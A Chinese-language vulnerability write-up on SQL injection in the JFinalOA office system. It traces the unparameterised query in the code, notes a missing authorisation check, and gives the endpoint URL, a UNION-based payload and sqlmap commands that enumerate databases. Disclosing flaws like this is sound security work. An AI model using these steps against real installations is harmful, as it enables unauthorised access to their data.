JFinalOA SQL注入

https://gitee.com/glorylion/JFinalOA

代码分析

1
src/main/java/com/pointlion/mvc/admin/oa/workflow/flowtask/FlowTaskController.java 123行

定义字符串请求参数defkey

随后调用getHavedonePage方法把前端传来的参数进行处理,结果封装到Page<Record>,查看wfservice是从哪里定义的接口

跟进WorkFlowService,在该service层中搜索前面调用到的getHavedonePage方法,在该方法中含有一条没有进行预编译sql查询,此处直接进行数据查询导致了漏洞的产生

漏洞验证

路由配置文件路径

1
src/main/java/com/pointlion/config/routes/OARoutes.java

在前面FlowTaskControllergetHaveDoneTaskDataList方法中含有一个越权漏洞,此处只获取了登陆状态,没有对用户鉴权

获取登陆用户信息封装到cookie里

所以这个注入只需要普通用户就可以利用,这里创建一个test用户

根据该框架路由配置结合controller的方法构造url

1
/admin/oa/workflow/flowtask/getHaveDoneTaskDataList?pageNumber=&pageSize=&defkey=

注入payload

1
1' UNION SELECT 1,2,3 --+

语句报错,丢sqlmap注入

1
sqlmap.py -r D:\test.txt --random-agent

跑库

1
sqlmap.py -r D:\test.txt --random-agent --dbs --current-db


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.